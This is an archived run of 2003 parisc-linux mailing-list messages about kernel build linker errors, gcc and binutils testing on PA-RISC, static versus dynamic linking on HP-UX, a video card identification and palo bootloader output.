List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18607

Hi Max,

>
>Attachment: config-2.4.20-pa35-gcc-3.3
>
32-bits first;
I test this config with gcc-3.3-2 and binutils 2.13.90.0.18-7 but I encounter
following pb:

`gcc-3.3 -print-libgcc-file-name` /usr/src/linux-2.4.20-pa35/arch/parisc/lib/lib.a

/usr/src/linux-2.4.20-pa35/lib/lib.a  \
        --end-group \
        -o vmlinux
drivers/net/wireless/wireless_net.o(.init.text+0x78): In function `init_orinoco_cs':
: undefined reference to `CardServices'
drivers/net/wireless/wireless_net.o(.ini
.text+0xac): In function `init_orinoco_cs':
: undefined reference to `register_pccard_driver'
drivers/net/wireless/wireless_net.o(.exit.text+0x2c): In function `exit_orinoco_cs':
: undefined reference to `unregister_pccard_driver'
drivers/net/wirel
ss/wireless_net.o(.text.cs_error+0x18): In function `cs_error':
: undefined reference to `CardServices'
drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0x48): In
function `orinoco_cs_cor_reset':
: undefined reference to `CardServices

drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0x74): In
function `orinoco_cs_cor_reset':
: undefined reference to `CardServices'
drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0xd4): In
function `orinoco_cs_cor_re
et':
: undefined reference to `CardServices'
drivers/net/wireless/wireless_net.o(.text.orinoco_cs_attach+0x108): In function
`orinoco_cs_attach':
: undefined reference to `CardServices'
drivers/net/wireless/wireless_net.o(.text.orinoco_cs_detach+0
90): more
undefined references to `CardServices' follow
make: *** [vmlinux] Error 1

And the very same with gcc-3.0.4-16 {(which also backport canonicalize_*
?)}

Any idea?

Now overall results:
[the two test made exactely the same number of 
cc (grep "^gcc" blabla |
wc -l == 968)]

gcc-3.3

start: k-2.4.20-pa35-cfg-gcc33:Tue Jun  3 18:22:57 CEST 2003
end:   k-2.4.20-pa35-cfg-gcc33:Tue Jun  3 18:41:31 CEST 2003
(About 19 min)

gcc-3.0
start: k-2.4.20-pa35-cfg-gcc30:Tue Jun  3 19:1
:44 CEST 2003
end:   k-2.4.20-pa35-cfg-gcc30:Tue Jun  3 19:30:46 CEST 2003
(about 17 min)

I am not enough happy because not yet reach to obtain a kernel; I will try
tomorrow :(

Cheers,
    Joel

PS: I run those draft test on a b2k running a
kernel compile with gcc-3.3
(32-bits) and the BogoMIPS in dmesg is 799.53 (about 2 * 400MHz of cpu).
On the other hand I will made same test on a N (ucp) running a 64-bit kernel
with BogoMIPS announced as 1097.72 (about 2 * 550 Mhz of cpu).

Well 
hat is only draft info, I am waiting to run your kernel on the two
machime to see?


>
>Attachment: config-2.4.20-pa35-64
>

(I hope tomorrow )




---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Tue, 3 Jun 2003 17:59:13 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030603235913.GA3536@dsl2.external.hp.com>
References: <3ED70CF100001190@ocpmta2.freegates.net> <200306031418.h53EI399028101@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622495 26415 80.91.229.3 (22 Nov 2014 02:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:55 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, joel.soete@tiscali.be,
	xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 17:59:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5B155486C; Tue,  3 Jun 2003 17:59:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200306031418.h53EI399028101@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18608

On Tue, Jun 03, 2003 at 10:18:03AM -0400, John David Anglin wrote:
> ...but the use of static binaries under 64-bit hpux is discouraged.

That depends on who you talk to.

The library maintainers cring at the thought of an application
statically linked and forever carrying around bugs in it.

But the perf folks get annoyed that each process has to allocate
RAM for *all* the data space used by a shared lib vs just for
the parts that get linked in statically. (I hope I remember this
correctly).

grant


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Video card question
Date: Tue, 3 Jun 2003 19:33:53 -0700 (PDT)
Lines: 4
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.53.0306031931340.8941@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622495 26422 80.91.229.3 (22 Nov 2014 02:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 20:32:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06C004871
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 20:32:09 -0600 (MDT)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h541bvh13087
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 18:37:57 -0700
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from jordan.eng.nateng.com (IDENT:1000@localhost [127.0.0.1])
	by jordan.eng.nateng.com (8.12.8/8.12.8) with ESMTP id h542XrFY009063
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 19:33:53 -0700
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.12.9/8.12.8/Submit) with ESMTP id h542XroY009060
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 19:33:53 -0700
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: chandler@jordan.eng.nateng.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18609

Does anyone know what the A6150-60002 (A6150A) is?
It's a PCI VGA card that shipped with my rp5470...  But I am having a
fairly difficult time figureing out what it is.


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Video card question
Date: Tue, 3 Jun 2003 22:50:52 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <5AD605E8-9637-11D7-864A-000393581E44@speakeasy.net>
References: <Pine.LNX.4.53.0306031931340.8941@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622496 26429 80.91.229.3 (22 Nov 2014 02:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 20:50:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA0B04874
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 20:50:58 -0600 (MDT)
Original-Received: (qmail 12510 invoked from network); 4 Jun 2003 02:50:52 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 4 Jun 2003 02:50:52 -0000
In-Reply-To: <Pine.LNX.4.53.0306031931340.8941@jordan.eng.nateng.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18610

It's a Visualize FX-E.

On Tuesday, Jun 3, 2003, at 22:33 US/Eastern, Sir Ace wrote:

> Does anyone know what the A6150-60002 (A6150A) is?
> It's a PCI VGA card that shipped with my rp5470...  But I am having a
> fairly difficult time figureing out what it is.



From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Wed, 4 Jun 2003 01:47:31 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200306040547.h545lW9G016934@hiauly1.hia.nrc.ca>
References: <20030603235913.GA3536@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622496 26439 80.91.229.3 (22 Nov 2014 02:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:56 +0000 (UTC)
Cc: jsoe0708@tiscali.be, joel.soete@tiscali.be, xam@cs.ucc.ie,
	parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 23:47:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9969B4877
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 23:47:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h545lXgL016936;
	Wed, 4 Jun 2003 01:47:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h545lW9G016934;
	Wed, 4 Jun 2003 01:47:32 -0400 (EDT)
In-Reply-To: <20030603235913.GA3536@dsl2.external.hp.com> from "Grant Grundler" at Jun 3, 2003 05:59:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18611

> On Tue, Jun 03, 2003 at 10:18:03AM -0400, John David Anglin wrote:
> > ...but the use of static binaries under 64-bit hpux is discouraged.
> 
> That depends on who you talk to.

Possibly, I was reading too much into what is stated in the pa64 runtime
supplement.  However, the default behavior of the HP 64-bit linker is to
link dynamically, even if no DLLs are found at link time.  It doesn't
really matter from a maintenance standpoint if a binary is dynamic or
static if it is solely linked with archive libraries.  I suspect that
one reason for this default is that internationalization support requires
linking with libdld.sl and using the dynamic loader.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Wed, 4 Jun 2003 10:42:37 +0000 (UTC)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306041039250.27036@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
 <200306011543.59335.deller@gmx.de> <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
 <20030602181451.GB31212@dsl2.external.hp.com>
 <Pine.BSF.4.53.0306021827240.1237@e0-0.zab2.int.zabbadoz.net>
 <Pine.BSF.4.53.0306021858520.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622496 26448 80.91.229.3 (22 Nov 2014 02:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:56 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 04:43:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35CFF483E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 04:43:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 8A5131FFFB9; Wed,  4 Jun 2003 12:43:03 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 34DA71FFBD5; Wed,  4 Jun 2003 12:43:02 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id CCF8115380; Wed,  4 Jun 2003 10:42:37 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id C27D41537F; Wed,  4 Jun 2003 10:42:37 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <Pine.BSF.4.53.0306021858520.1237@e0-0.zab2.int.zabbadoz.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18612

On Mon, 2 Jun 2003, Bjoern A. Zeeb wrote:

Hi,

> g) here is the patch. Thanks I remember basic for the goto ;-)
> peherhaps ignore the part with the version number ...

well please - before commiting - verifiy ... I think there is a
problem maybe with some pointer ... Will have to verify all possible
paths ... going to re-check and let you know.

--- cut ---
/boot/vmlinux-2.5.69-pa1 74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux conso0
 0: 3/boot/vmlinux-2.5.69-pa1
 1: 74
 2: 00L
 3: 1X
 4: c
 5: 1Q
 6: root=/dev/sdb3
 7: HOME=/
 8: TERM=linux
 9: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)?
--- cut ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Wed, 4 Jun 2003 14:23:39 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200306041823.h54INeaO023223__48913.3252449848$1416622497$gmane$org@hiauly1.hia.nrc.ca>
References: <20030602230949.GB17437@ozlabs.au.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622497 26450 80.91.229.3 (22 Nov 2014 02:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:57 +0000 (UTC)
Cc: tausq@debian.org, bug-binutils@gnu.org,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org,
	debian-gcc@lists.debian.org
To: amodra@bigpond.net.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 12:32:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8BB44829
	for <parisc-linux@parisc-linux.org>; Wed,  4 Jun 2003 12:32:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h54IW8gL025975;
	Wed, 4 Jun 2003 14:32:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h54INeaO023223;
	Wed, 4 Jun 2003 14:23:40 -0400 (EDT)
In-Reply-To: <20030602230949.GB17437@ozlabs.au.ibm.com> from "Alan Modra" at Jun 3, 2003 09:09:49 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18613

> On Mon, Jun 02, 2003 at 05:10:38PM -0400, John David Anglin wrote:
> > tmpdir/sh1p.o(.text+0x0): In function `shlib_mainvar':
> > /home/dave/binutils-2.14.90/src/ld/testsuite/ld-elfvsb/sh1.c:32: undefined refer
> > ence to `mainvar'
> > ...
> > FAIL: visibility (hidden)
> 
> Fixing this one probably requires porting some of the recent changes
> I made for x86 and ppc to hppa.  See SYMBOL_REFERENCES_LOCAL and
> SYMBOL_CALLS_LOCAL.

Nope.  This was caused by the previous bug and the change to using
gcc as the driver program to run the newly built linker.  Using `-B'
doesn't override the GCC configure option `--with-ld='.  The same
problem occurs with using gcc to run the newly build assembler
(`-B' doesn't override `--with-as=').  I think we need to revert
to the previous technique for running these tools in the ld
testsuite.

To work around this problem, I installed the newly built tools.
This fixed most of the ld FAILS but we are still left with the
following:

Running /home/dave/binutils-2.14.90/src/ld/testsuite/ld-elfvsb/elfvsb.exp ...
FAIL: visibility (hidden_undef_def)
FAIL: visibility (hidden_undef_def) (PIC main)
FAIL: visibility (hidden_weak)
FAIL: visibility (hidden_weak) (PIC main)
FAIL: visibility (protected_weak)
FAIL: visibility (protected_weak) (PIC main)
Running /home/dave/binutils-2.14.90/src/ld/testsuite/ld-elfweak/elfweak.exp ...
FAIL: ELF weak func first DSO
FAIL: ELF weak func last DSO
FAIL: ELF weak data first DSO
FAIL: ELF weak data last DSO
FAIL: ELF weak data first DSO common
FAIL: ELF weak data last DSO common

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiler & kernel (2)
Date: Wed, 4 Jun 2003 19:33:48 +0100 (IST)
Lines: 867
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306041917370.12360-300000@sal.ucc.ie>
References: <3ED70CF1000016E7@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-697751768-1054751628=:12360"
X-Trace: ger.gmane.org 1416622497 26453 80.91.229.3 (22 Nov 2014 02:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  4 12:33:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7927F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jun 2003 12:33:51 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h54IXnR05300;
	Wed, 4 Jun 2003 19:33:49 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3ED70CF1000016E7@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18614

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-697751768-1054751628=:12360
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 3 Jun 2003, Joel Soete wrote:

> Hi Max,
>
> >
> >Attachment: config-2.4.20-pa35-gcc-3.3
> >
> 32-bits first;
> I test this config with gcc-3.3-2 and binutils 2.13.90.0.18-7 but I encounter
> following pb:
>
> `gcc-3.3 -print-libgcc-file-name` /usr/src/linux-2.4.20-pa35/arch/parisc/lib/lib.a
>
> /usr/src/linux-2.4.20-pa35/lib/lib.a  \
>         --end-group \
>         -o vmlinux
> drivers/net/wireless/wireless_net.o(.init.text+0x78): In function `init_orinoco_cs':
> : undefined reference to `CardServices'
> drivers/net/wireless/wireless_net.o(.ini
> .text+0xac): In function `init_orinoco_cs':
> : undefined reference to `register_pccard_driver'
> drivers/net/wireless/wireless_net.o(.exit.text+0x2c): In function `exit_orinoco_cs':
> : undefined reference to `unregister_pccard_driver'
> drivers/net/wirel
> ss/wireless_net.o(.text.cs_error+0x18): In function `cs_error':
> : undefined reference to `CardServices'
> drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0x48): In
> function `orinoco_cs_cor_reset':
> : undefined reference to `CardServices
>
> drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0x74): In
> function `orinoco_cs_cor_reset':
> : undefined reference to `CardServices'
> drivers/net/wireless/wireless_net.o(.text.orinoco_cs_cor_reset+0xd4): In
> function `orinoco_cs_cor_re
> et':
> : undefined reference to `CardServices'
> drivers/net/wireless/wireless_net.o(.text.orinoco_cs_attach+0x108): In function
> `orinoco_cs_attach':
> : undefined reference to `CardServices'
> drivers/net/wireless/wireless_net.o(.text.orinoco_cs_detach+0
> 90): more
> undefined references to `CardServices' follow
